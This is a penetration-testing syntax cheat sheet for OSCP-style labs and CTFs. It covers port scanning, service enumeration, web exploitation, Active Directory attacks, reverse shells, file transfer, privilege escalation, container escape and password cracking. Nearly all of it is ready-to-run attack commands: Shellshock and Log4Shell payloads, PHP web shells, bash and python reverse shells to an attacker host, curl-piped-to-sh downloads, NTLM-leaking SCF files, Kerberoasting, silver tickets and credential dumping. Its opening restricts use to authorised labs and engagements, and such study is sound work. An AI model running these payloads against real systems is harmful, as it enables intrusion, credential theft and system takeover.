Pentest syntax cheat sheet
Placeholders: <ip> target, <host> hostname/FQDN, <user> <pass> creds, <domain> AD domain, <lhost> your VPN IP, <lport> your listener port.
Set these once per box and reuse:
export IP=10.10.10.10
export LHOST=$(ip -4 addr show tun0 | grep -oP 'inet \K[\d.]+') # your VPN IP
export LPORT=443Scope and tool rules (read this first)
Run this against systems you own, a lab or CTF you are registered with, or an engagement with a signed scope. Nothing else.
On a certification exam the tooling is usually restricted, and the OSCP rules are the strictest you are likely to meet:
Allowed: manual tools, nmap, targeted nmap scripts, one-off exploits, netexec, impacket, evil-winrm, Burp community, linpeas/winpeas, targeted Metasploit on a single machine only.
Not allowed: sqlmap, automated exploitation (db_autopwn, browser_autopwn), mass vulnerability scanners (Nessus, OpenVAS; Nikto is fine as it is not an exploit scanner but treat with care), and Metasploit auto-exploit beyond your one permitted box. When in doubt, do it by hand.
On a CTF or your own lab none of that applies — but working by hand is still how you learn what the automated tool was doing.
Port scanning
# Fast full TCP sweep, then version + default scripts on what is open
nmap -p- --min-rate 10000 -T4 -Pn $IP -oN allports.nmap
ports=$(grep -oP '^\d+(?=/tcp)' allports.nmap | paste -sd, -)
nmap -sCV -p$ports -Pn $IP -oN detailed.nmap
# UDP (slow, top ports only)
sudo nmap -sU --top-ports 100 -T4 $IP -oN udp.nmap
# rustscan alternative (faster discovery)
rustscan -a $IP -- -sCV
# ident (113) names the user behind every open port
ident-user-enum $IP 22 80 113 3306
# port knocking - a filtered port that opens after a sequence (look in knockd.conf, a README, FTP)
knock $IP 7469 8475 9842 && ssh <user>@$IP
for p in 7469 8475 9842; do nmap -Pn --max-retries 0 -p $p $IP; done # no knock client neededFTP (21)
nmap -p21 --script ftp-anon,ftp-syst $IP
ftp $IP # user: anonymous pass: anything
# inside ftp: binary | prompt off | mget * | put <file>
wget -r ftp://anonymous:anon@$IP/ # pull everythingSSH (22)
nmap -p22 --script ssh-auth-methods,ssh2-enum-algos $IP
ssh <user>@$IP
ssh -i id_rsa <user>@$IP # with a found key (chmod 600 id_rsa first)
ssh2john id_rsa > hash # crack an encrypted keySMTP (25)
nmap -p25 --script smtp-commands,smtp-enum-users $IP
smtp-user-enum -M VRFY -U users.txt -t $IPDNS (53)
dig axfr @$IP <domain> # zone transfer
dnsrecon -d <domain> -n $IP
nslookup # then: server $IP -> <domain>Web (80/443/8080/...)
whatweb -a3 http://$IP
curl -sSik http://$IP/robots.txt
nmap -p80 --script http-enum,http-title,http-headers,http-methods $IP
# directory brute (pick one). -d 2 stops ferox recursing into a phone book
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -d 2 -x php,html,txt -C 404,403
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
# vhost / subdomain fuzz (add <host> to /etc/hosts first)
ffuf -u http://$IP -H "Host: FUZZ.<host>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline-size>
# WordPress
curl -s http://$IP/readme.html | grep -i version # core version
wpscan --url http://$IP --enumerate ap,at,u,cb,dbe --plugins-detection aggressive --api-token <token>
cmsmap -f W http://$IP # alt scanner (also J/D/M); -F full, noisy
curl -s http://$IP/wp-json/wp/v2/users # user enum via REST API
wpscan --url http://$IP -U <user> -P /usr/share/wordlists/rockyou.txt # login brute
# admin panel -> Appearance > Theme Editor > 404.php = PHP shell ; wp-config.php holds the DB creds
# XXE - any endpoint that parses XML (reads local files)
# <?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
# PHP source: file:///... -> php://filter/convert.base64-encode/resource=index.php
# NoSQL (Mongo) auth bypass / extract
# username[$ne]=x&password[$ne]=x | username[$regex]=^admin
# Spring Boot Actuator (Java): /actuator/env /actuator/heapdump /actuator/sessions
# LFI->RCE wrappers: php://filter/convert.base64-encode/resource= data:// phar://
curl --path-as-is "http://$IP/../../../../etc/passwd" # curl strips ../ without this; matters on loopback services
# Shellshock (/cgi-bin/*.sh): User-Agent: () { :;}; echo; /bin/bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
# Log4Shell (any logged field): ${jndi:ldap://<lhost>/x} (marshalsec/JNDIExploit for the payload class)
# GraphQL introspection: POST /graphql {"query":"{__schema{types{name fields{name}}}}"} (InQL, graphw00f)
# Deserialization: Java ysoserial | .NET ysoserial.net ViewState | Python pickle | Node node-serialize
# WebDAV: davtest -url http://<ip> ; curl -T shell.php http://<ip>/ (upload .txt then MOVE if filtered)
# writable SMB/FTP share that IS the web root: put shell, then curl it. IIS runs .aspx, Apache .php
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f aspx -o shell.aspx
# Jenkins /script (Groovy): println 'id'.execute().text
# Redis unauth -> SSH key: config set dir /var/lib/redis/.ssh ; config set dbfilename authorized_keys ; set x '<pubkey>' ; save
# Redis as root, nothing to key? module RCE: module load /tmp/module.so ; system.exec 'id' (RedisModules-ExecuteCommand)
# Ghostcat (AJP 8009, CVE-2020-1938): python3 ajpShooter.py http://$IP:8080 8009 /WEB-INF/web.xml read
# RFI - include takes a URL: ?page=http://$LHOST/shell.txt
# Windows + allow_url_include=Off? UNC still works: ?page=\\$LHOST\share\shell.php
# impacket-smbserver share $(pwd) -smb2support (use real samba if smbserver drops the connection)
# cmdi filter bypass: cat${IFS}/etc/passwd | {cat,/etc/passwd} | c\at /etc/pa*wd | echo Y2F0|base64 -d|sh
# PHP type juggling: password[]=x (array -> NULL == 0) | 0e magic hashes compare equal ('0e12' == '0e99')
# upload filter blocks .php? teach Apache a new extension instead:
# printf 'AddType application/x-httpd-php .zzz\n' > .htaccess (upload it, then shell.zzz)
# php_flag engine on - re-enables PHP where it was disabled for that folder
# upload is parsed server-side? hit the parser: exiftool CVE-2021-22204 (DjVu), ImageMagick CVE-2022-44268
# Jupyter on 8888: New > Terminal is a shell. Token leaks in configs/history/ps
# curl -s http://<ip>:8888/api/sessions
# Tomcat Manager -> WAR shell (defaults: tomcat:tomcat / tomcat:s3cret / admin:admin)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o rev.war
curl -u tomcat:s3cret -T rev.war "http://$IP:8080/manager/text/deploy?path=/rev"
curl "http://$IP:8080/rev/" # listener up first
# PHP shells to upload
echo '<?php system($_GET["cmd"]); ?>' > cmd.php # then browse cmd.php?cmd=id
cp /usr/share/webshells/php/php-reverse-shell.php shell.php # edit $ip/$port, upload, nc -lvnp <port>, browse it
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=$LPORT -f raw -o shell.phpReminder: if the browser redirects to a name, echo "$IP <host>" | sudo tee -a /etc/hosts.
SMB (139/445)
nxc smb $IP # OS / domain / signing
nxc smb $IP -u '' -p '' --shares # null session
nxc smb $IP -u guest -p '' --shares
nxc smb $IP -u <user> -p <pass> --shares
enum4linux-ng -A $IP
smbmap -H $IP -u guest -p ''
smbclient -L //$IP/ -N # list shares
smbclient //$IP/<share> -N # connect (or -U '<user>%<pass>')
smbclient //$IP/<share> -N -c 'recurse ON; ls' # walk a share
# password spray / cred check across a subnet
nxc smb $IP -u users.txt -p 'Password1' --continue-on-successSNMP (161/udp)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP
snmpwalk -v2c -c public $IP
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2 # running processesLDAP (389/636)
nmap -p389 --script ldap-rootdse $IP
ldapsearch -x -H ldap://$IP -s base -b '' namingContexts
ldapsearch -x -H ldap://$IP -b '<baseDN>' > ldap_dump.txtDatabases
# MSSQL 1433
impacket-mssqlclient <user>:<pass>@$IP # add -windows-auth for domain
# MySQL 3306
mysql -h $IP -u root -p
# PostgreSQL 5432
psql -h $IP -U postgres
# Redis 6379
redis-cli -h $IP # then: info | keys * | config get dirRDP / WinRM
xfreerdp /v:$IP /u:<user> /p:<pass> +clipboard /dynamic-resolution
nxc winrm $IP -u <user> -p <pass>
evil-winrm -i $IP -u <user> -p <pass>
evil-winrm -i $IP -u <user> -H <ntlm-hash> # pass-the-hashActive Directory (88 present = DC)
# GPP cpassword pulled from a share by hand (e.g. null-session Replication share)
gpp-decrypt '<cpassword>' # AES key is public; recovers the plaintext
nxc ldap $IP -u <user> -p <pass> --laps # local-admin pw off the computer object
nxc ldap $IP -u <user> -p <pass> --gmsa # gMSA managed password (or gMSADumper.py)
# SeBackupPrivilege on a DC -> NTDS.dit:
# diskshadow (expose C: as Z:) ; robocopy /b Z:\Windows\NTDS . ntds.dit ; reg save hklm\system system
# secretsdump.py -ntds ntds.dit -system system LOCAL
runas /user:<dom>\administrator /savecred "cmd /c whoami" # re-use a cmdkey-stored cred
RunasCs.exe <user> <pass> "cmd /c whoami" -r $LHOST:$LPORT # run as a user with no WinRM/RDP, from a shell
# DPAPI -> plaintext (saved RDP/network/browser creds), not a hash:
# blobs in %APPDATA%\Microsoft\Credentials\ ; masterkey in ..\Protect\<SID>\
# mimikatz: dpapi::masterkey /in:<mk> /sid:<SID> /password:<pw> then dpapi::cred /in:<blob>
# or: impacket-dpapi credential -file <blob> -key <masterkey>
# Azure AD Connect box? ADSync DB holds a DA password it can decrypt (azuread_decrypt_msol.ps1)
dir /R # NTFS alternate data streams (Get-Content f -Stream x)
# forced auth from a writable share - Explorer fetches the icon, leaking NetNTLMv2 to Responder
printf '[Shell]\nCommand=2\nIconFile=\\\\%s\\share\\x.ico\n[Taskbar]\nCommand=ToggleDesktop\n' "$LHOST" > @pwn.scf
smbclient //$IP/<share> -N -c 'put @pwn.scf' # .url (URL=file://$LHOST/x.ico) or .lnk work too
# LDAP passback - point a printer/appliance's LDAP server at you, its bind arrives in cleartext
sudo nc -lvnp 389nxc smb $IP -u '' -p '' --rid-brute 10000 # real user list from a null/guest session
nxc ldap $IP -u <user> -p <pass> -M user-desc # description/info fields hold reset passwords
impacket-lookupsid <domain>/guest@$IP 10000 # same idea, via SID walking
kerbrute userenum -d <domain> --dc $IP users.txt
impacket-GetNPUsers <domain>/ -no-pass -usersfile users.txt -dc-ip $IP # AS-REP roast
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip $IP -request # Kerberoast
setspn.exe -Q */* # native SPN list, from the box, no creds to type
rusthound-ce -d <dom> -u <user> -p <pass> -i $IP -c All -z # BloodHound CE collector; beats bloodhound-python
# GenericWrite/GenericAll on a GPO = SYSTEM on every machine it links (incl. the DC):
python3 pygpoabuse.py <dom>/<user>:<pass> -gpo-id <GUID> -command 'net localgroup administrators <user> /add' -f
# Server 2025 DC? BadSuccessor: CreateChild on any OU -> dMSA -> any admin's keys
nxc ldap $IP -u <user> -p <pass> -M badsuccessor
# then: Invoke-Kerberoast -OutputFormat hashcat | fl or Rubeus.exe kerberoast /format:hashcat
# svc account hash -> Administrator on THAT service, no krbtgt/DCSync needed (silver ticket):
impacket-ticketer -nthash <svc-nt-hash> -domain-sid S-1-5-21-... -domain <dom> -spn MSSQLSvc/sql.<dom>:1433 -user-id 500 Administrator
export KRB5CCNAME=Administrator.ccache # then any impacket tool with -k -no-pass
impacket-secretsdump <domain>/<user>:<pass>@$IP
bloodhound-python -d <domain> -u <user> -p <pass> -ns $IP -c allReverse shells
# listener
nc -lvnp $LPORT
rlwrap nc -lvnp $LPORT # nicer, with history/arrows
# bash
bash -c 'bash -i >& /dev/tcp/'$LHOST'/'$LPORT' 0>&1'
# python
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'$LHOST'",'$LPORT'));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'Best source for one-liners in a pinch: revshells.com (run it locally, or just remember the site).
Upgrade a dumb shell to a full TTY
# 1. ON TARGET: spawn a PTY (no python3? use: script -qc /bin/bash /dev/null)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. press Ctrl-Z -> drops you to your own Kali prompt
# 3. ON KALI. Paste both lines together. Screen goes blank/no-echo, that's normal, press Enter
stty raw -echo
fg
# 4. ON TARGET: fix the environment
export TERM=xterm
export SHELL=/bin/bash
# 5. size it: run 'stty size' in a spare Kali tab to get 'rows cols', then ON TARGET:
stty rows 38 cols 190
# terminal wrecked? on Kali: reset (or) stty sane
# cleanest if target has socat (perfect TTY, no stty dance):
# kali: socat file:$(tty),raw,echo=0 tcp-listen:4444
# target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:4444File transfer
# on your box: serve the folder
python3 -m http.server 80
# on target (Linux) - the fetch port must match the port you served on
wget http://$LHOST:4444/linpeas.sh -O /tmp/linpeas.sh # then: chmod +x && run
curl -s http://$LHOST:4444/linpeas.sh | sh # nothing writable? pipe it
wget http://$LHOST/linpeas.sh -O /tmp/linpeas.sh
curl http://$LHOST/x -o /tmp/x
# on target (Windows)
certutil -urlcache -f http://$LHOST/nc.exe nc.exe
powershell -c "iwr http://$LHOST/x.exe -o x.exe"
# via SMB (Windows pull)
impacket-smbserver share . -smb2support # your box
copy \\$LHOST\share\file.exe # targetPrivilege escalation, first moves
# Linux
./linpeas.sh | tee linpeas.txt
sudo -l
find / -perm -4000 -type f 2>/dev/null # SUID
getcap -r / 2>/dev/null # capabilities (NOT shown by find -perm -4000)
# SUID entry on GTFOBins? sh/bash drop the euid unless you pass -p:
/opt/suidfind . -exec /bin/sh -p \; -quit # and SUID interpreters:
php -r "pcntl_exec('/bin/sh', ['-p']);" # gdb -nx -ex 'python import os; os.execl("/bin/sh","sh","-p")' -ex quit
# cap_setuid=ep on an interpreter -> set uid 0 yourself:
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
crontab -l; cat /etc/crontab
# check GTFOBins for anything you find in sudo -l or SUID
./pspy64 -pf -i 1000 # watch cron/procs as root fires them (no root needed)
sudo -u#-1 /bin/bash # CVE-2019-14287, when sudo -l shows (ALL, !root)
sudo --version # < 1.9.5p2 -> Baron Samedit CVE-2021-3156, any local user, no sudo rule
# sudo rule naming a path/wildcard is a pattern, not a fence: (root) /bin/nice /notes/*.sh
sudo /bin/nice /notes/../tmp/rev.sh # traverse out of it; trailing * = append your own flags
# root runs a writable thing: cron/systemd-timer script | /etc/update-motd.d/* (fires on SSH login)
# root 'tar ... *' in a writable dir -> touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
# root job runs git in a repo you can write -> .git/hooks/pre-commit (or post-commit), chmod +x, runs as root
# restricted shell (rbash)? escape:
ssh <user>@$IP -t bash --noprofile --norc # or from inside: vi -> :set shell=/bin/sh :shell
# NFS export with no_root_squash -> set the SUID bit from your box, it is honoured on theirs
showmount -e $IP # look for (rw,no_root_squash); cat /etc/exports on target
sudo mount -t nfs $IP:/export /mnt -o nolock && sudo cp /bin/bash /mnt/rootbash && sudo chmod +s /mnt/rootbash
# then on target: /export/rootbash -p
id # disk -> debugfs /dev/sda1 (read/write any file) | adm -> /var/log | shadow
ls -la /run /var/run /tmp | grep '^s' # world-writable unix socket = shell as whoever listens
socat - UNIX-CONNECT:/opt/app/live.sock
ls -la /etc/krb5.keytab /tmp/krb5cc_* # domain-joined Linux: keytab = AD keys, no cracking
python3 keytabextract.py /etc/krb5.keytab # ccache: export KRB5CCNAME then impacket -k -no-pass
# sudo -l shows env_keep+=LD_PRELOAD -> root with ANY allowed binary, no GTFOBins entry needed
# gcc -fPIC -shared -nostartfiles -o /tmp/x.so x.c (x.c: void _init(){setuid(0);system("/bin/bash");})
# sudo LD_PRELOAD=/tmp/x.so <any-allowed-binary>
# python import hijack: root script does 'import config' and its dir is writable -> drop config.py
# Windows
.\winpeas.exe
whoami /priv # look for SeImpersonate -> potato
systeminfo # then windows-exploit-suggester
# PoC is C source and the target has no compiler? cross-compile on Kali:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -static # i686-w64-mingw32-gcc for 32-bit
# AppLocker default rules allow all of C:\Windows - these live inside it and are user-writable:
# C:\Windows\System32\spool\drivers\color | C:\Windows\Tasks | C:\Windows\Temp (Get-AppLockerPolicy -Effective -Xml)
accesschk.exe -uwcqv <user> * # services you may reconfigure
# Backup Operators (SeBackup/SeRestore) reads any file, remotely - DC = machine hash = DCSync:
impacket-reg <dom>/<user>:<pass>@$IP backup -o '\\'$LHOST'\share' # then secretsdump -sam/-system LOCAL
SharpChrome.exe logins /browser:edge # saved browser passwords, DPAPI-decrypted as that user
sc config <svc> binpath= "cmd /c net localgroup administrators <user> /add" && sc start <svc>
# Server Operators group members can do the above to any service = SYSTEM, no file dropped
# open Squid proxy (3128/8080)? that is a free tunnel - proxychains conf: http <ip> 3128
ss -tulpn # then forward anything bound to 127.0.0.1 only
ssh -L 3306:127.0.0.1:3306 <user>@$IP # loopback services are usually unauthenticated
# Windows foothold, no sshd? dial out instead - it ships an OpenSSH *client*:
ssh -R 1080 -N <user>@$LHOST # older boxes: plink.exe -ssh -l <u> -pw <p> -R 1080 $LHOST
netsh interface portproxy add v4tov4 listenport=9999 connectaddress=<internal> connectport=3389 # admin, no uploadContainer escape
# am I in a container, and which runtime?
ls -la /.dockerenv /run/.containerenv 2>/dev/null # docker / podman
cat /proc/1/cgroup # docker / lxc / kubepods
env | grep -i KUBERNETES # a pod
# enumerate the confinement (the escape is almost always one of these)
capsh --print 2>/dev/null; grep Cap /proc/self/status # CAP_SYS_ADMIN / PTRACE / DAC_READ_SEARCH
ls -la /var/run/docker.sock 2>/dev/null # mounted socket = game over
mount; fdisk -l 2>/dev/null # host mounts / privileged (sees host disks)
id | grep -E 'docker|lxd|lxc' # group membership is root-equivalent
# docker socket or docker group -> root on the host
docker run -v /:/host -it alpine chroot /host bash
# privileged container -> mount the host disk
mkdir /mnt/host; mount /dev/sda1 /mnt/host && chroot /mnt/host bash
# lxd group -> privileged container mounting /
lxc init esc r -c security.privileged=true
lxc config device add r host disk source=/ path=/mnt/root recursive=true
lxc start r; lxc exec r sh
# kubernetes pod -> node
cat /run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list # create pods -> schedule a privileged hostPath pod
# CAP_SYS_ADMIN (AppArmor off/permissive): cgroup release_agent break-out -> HackTricks
# CVE-2019-5736: overwrite host runc from inside, fires on the next 'docker exec'
# automation: ./deepce.sh | cdk evaluate --fullPassword cracking
hashcat -m <mode> hash.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# common modes: 0 md5, 1000 ntlm, 1800 sha512crypt, 13100 kerberoast TGS
# ssh2john / zip2john / rar2john / office2john / keepass2john / pfx2john / gpg2john / pdf2john <file> > hash.txt
# GPG: crack it, gpg --import key, then gpg --decrypt secret.pgp
# creds hide in file formats, not just hashes - read the artefact before cracking anything
vncpwd ~/.vnc/passwd # VNC: published DES key -> plaintext, no cracking
kpcli --kdb db.kdbx # KeePass, once you have the master password
mdb-tables b.mdb && mdb-export b.mdb users # MS Access (mdbtools)
readpst -o out mail.pst # Outlook -> mbox (pst-utils)
sqlite3 app.db .dump # any dropped .db
# and triage every file a box hands you
exiftool f.jpg ; binwalk -e f.png ; strings -n 8 f.bin ; steghide extract -sf f.jpg
ciscot7.py -d -p <type7> # Cisco type 7 is reversible; type 5 = md5crypt (john)
hashcat --example-hashes | grep -i <type> # find the right modesearchsploit
searchsploit <product> <version>
searchsploit -m <id> # copy exploit to cwd
searchsploit -x <id> # view itThe loop to run on every box
- Full TCP scan, then
-sCVon the open ports. - For each service, enumerate it fully before moving on. Do not tunnel-vision on port 80.
- Note every version string and
searchsploitit. - Add hostnames to
/etc/hoststhe moment you see one. - Get any foothold, upgrade the shell, run peas, check
sudo -l. - Keep notes as you go. Screenshot proof.txt with
type/catpluswhoamiandip.